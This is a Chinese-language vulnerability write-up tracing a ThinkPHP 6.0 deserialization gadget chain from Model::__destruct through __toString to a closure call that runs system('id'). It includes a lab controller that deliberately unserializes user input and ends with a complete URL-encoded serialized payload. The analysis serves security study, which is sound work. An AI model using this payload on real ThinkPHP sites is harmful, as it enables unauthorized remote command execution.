Thinkphp6.0反序列化

环境搭建

使用composer搭建

1
2
3
composer create-project topthink/think=6.0.x-dev TPv6.0
cd TPv6.0
php think run

创建入口文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index($payload='')
{
//echo $payload;
unserialize($payload);
}
}

文件路径为app/controller/Index.php如图

代码分析

漏洞入口点为__destruct() 路径为vendor/topthink/think-orm/src/Model.php

分析代码我们可以看到要经过一次if判断然后去调用save,只要if 判断为true就会去调用save,跟进lazySave可以看到就算不满足这两个if条件返回的仍旧是true也就是说return的lazySave默认就是True。

接下来跟进save方法

1
2
3
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

如果不想返回值为false首先就要满足的是这个if语句,跟进isEmpty

看到源码我们只需要满足$this->data不为空即可;

再跟进$this->trigger;

满足$this->withEvent=false即可返回true;

满足该if语句后执行下一段代码

1
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

看到这个代码知道是三元运算,如果$this->exists为true则去进入$this->updateData()反之进入$this->insertData($sequence)

分别跟进代码$this->updateData()

$this->insertData;

分析代码发现updateDate里存在可利用的点,就是标出的两个if语句

第一个if语句和上面的一样只需要满足$this->withEvent=false即可返回true;

第二个if语句,首先我们跟进getChangedData方法,因为$data的属性值由它所控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}

return is_object($a) || $a != $b ? 1 : 0;
});

// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (array_key_exists($field, $data)) {
unset($data[$field]);
}
}

return $data;
}

只需要$this->force为true,则直接返回$this->data;返回了1;我们回到updateDate中就可以进入checkAllowFields()方法了

我们跟进checkAllowFields

1
2
3
4
5
6
7
8
9
10
11
12
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();

$this->field = $query->getConnection()->getTableFields($table);
}

由于$this->field,$this->schema默认都为空,所以满足条件

可利用点为$this->db(),我们跟进db方法;

1
2
3
4
5
6
7
8
9
10
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);

if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}

发现字符拼接点

1
$query->table($this->table . $this->suffix);

如果可以满足判断的话就可以执行下面的拼接代码,从而触发__toString()魔术方法,将$this->table设置为响应类对象就可以。

__destruct()的反序列化链

接下来就是__toString()链的构造

利用点位于vendor\topthink\think-orm\src\model\concern\Conversion.php

调用了toJson,跟进toJson

继续跟进toArray。

我们看到两个elseif都吊用了getAttr,所以我们要触发这个方法。对$data进行遍历,此时$key的值即为$data的键,传入参数调用getAttr,跟进getAttr

传入的$key值就传入了getData中,跟进getData

第一个if判断传入的值,$key值不为空,因此绕过,然后$key值传入到了getRealFieldName()方法,跟进getRealFieldName方法

只要$this->strict为true即可返回$name 就是最开始从toArray()传进来的$key值。

从getRealFieldName回到getData方法进入下面这个判断

此时$fieldName就为$key,返回的值就为$this->data[$key];

再从getData返回到getAttr

返回的值就是

1
$this->getValue($name, $value, $relation);

$name就是传入$data的$key值,参数$value的值就是$this->data[$key]

继续跟进下getValue

这个方法中的name就是传入的key值 ,参数$value的值就是$this->data[$key],标出的部分就是当$this->strict为true即可返回$name

第一个红框标出的if判断可知$this->withAttr[$key]是存在的且不是数组所以不满足第二个判断进入elseif

最终利用点

1
$value   = $closure($value, $this->data);

$this->withAttr[$key]为函数名

$this->data[$key]为参数

1
2
$this->withAttr["system"]
$this->data["id"]

这最后实际上执行的就是system(“id”)

__toString()链也构造完成

还需要注意的是Model类是抽象类,不能实例化。所以要想利用,得找出Model类的一个子类进行实例化,这里可以用Pivot类进行利用。

最后还需要将前面说的table声明为Pivot类对象,从而将两个POP链串联起来。

payload

1
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22ly0n%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22ly0n%22%3Bs%3A2%3A%22id%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22ly0n%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22ly0n%22%3Bs%3A2%3A%22id%22%3B%7D%7D

验证